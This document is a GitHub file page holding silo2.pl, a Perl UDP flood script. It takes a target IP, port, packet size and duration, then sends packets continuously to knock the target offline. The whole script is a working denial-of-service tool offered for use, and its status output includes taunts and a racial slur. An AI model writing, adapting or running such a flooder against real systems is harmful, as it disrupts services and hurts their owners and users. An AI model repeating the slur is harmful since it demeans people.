-
Notifications
You must be signed in to change notification settings - Fork 0
/
silo2.pl
77 lines (65 loc) · 3.06 KB
/
silo2.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/perl
#Imports color codes
#{
use Term::ANSIColor qw(:constants);
$Term::ANSIColor::AUTORESET = 2;
#}
#Bash Menu
#{
#print BOLD RED "IP\n";
#print BOLD YELLOW "port\n";
#print BOLD GREEN "packets";
#print BOLD BLACK "seconds\n";
#}
##############
#DaddySilo AKA BabyDick
##############
use Socket;
use strict;
#If arguement = Blank
#{
if ($#ARGV != 3) {
print "seelo.pl <ip> <port> <size> <time>\n\n";
print " port=0: use random ports\n";
print " size=0: use random size between 64 and 1024\n";
print " time=0: continuous flood\n";
exit(1);
}
#}
#If IP = null
#{
my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
#}
#Dank Message
#{
print BOLD BLUE<<EOTEXT;
██████╗ ███████╗██╗██╗ ██████╗
██╔═══██╗██╔════╝██║██║ ██╔═══██╗
██║██╗██║███████╗██║██║ ██║ ██║
██║██║██║╚════██║██║██║ ██║ ██║
╚█║████╔╝███████║██║███████╗╚██████╔╝
╚╝╚═══╝ ╚══════╝╚═╝╚══════╝ ╚═════╝
Script Made By: Silo
Smacked By Silo
EOTEXT
#}
#Text to show whats up
#{
print BOLD RED "Rekt Skid $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "\n";
print "Stop Slamming Niggurh Ctrl-C\n" unless $time;
#}
#Sending flood
#{
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;
send(flood,
pack("a$psize","saf3e368wumu7repa4uxa2rucHaphubeGamu9R3373af8Us3eTHUgepRAfAS2c6CHAyegURepUbre94wRAwruS2uhU8UXasp7spasw7sw8h7wapr5spabekumu8ast8StRadusASacu6a6e5efrAzeWucH5cumuswaraca7hAbrewrecujetrafefadrawruW4ayAjU37sPUseBr4cRuPhacrUtrf0azrrQlLd1xdSjjtdwXfjyXArkExrVxVlulxssmr0u0lRscLAqjkZB43ajPRmAH4JQ6T1SOZPFmndbEi4IUOIuUmPCXI044f73uGIeJHs8lh36KpJausXqykL2idPx1j120Rra2DI1kmGgde5LI4TJMuQvrotBR3Fli0g1uwt74ALKfRzHYZJR0wkqNncUY178LcbTFtx5n7MF4zX3P4Z3mUVkAebkXqDv6EETKTNBes9kW2QBEBLeKcBH4cUAQ8Y30mdGozVRNJq3wtDMmgtzCibqXEEp3cZATTOMqIDxn3t5HYdspEofPneXpPTUE0TBN8oRAp4DjSlhfDAVmfNgbdSbTHWT7Y7gVi6kgrNXKCM64V4kOGvesVr0SZU3k83r6qAr3w4d26kurU9eBRa53cEtRaQaCHEvacu4PETRaf3yepHAk9FAgU2at8GEMEZAwUjaDesTufu2r3DaPhedR7quCru7reketc8atacAStuGeFruNuTHaWuspabr6drARa4r4cApRewuFRaD3qAXAsPeMAChudRUWxuq73R5dra8epre4tasp8craq677wru5asuq3tradede8rethuSwAfespastuduypUt2fudra5utanewrat83rucruyuje6aphuprUWawrawr4tha922HeSpU8acacu5hastuprecevasteberepagas6ejuje2heswugukerebrajeVeswerajAdagecah3phE9EsutaFrU6erathu2u6utraseCrEjehaChuphEchepeswutrezu86pret6afa"),
0, pack_sockaddr_in($pport, $iaddr));}
#}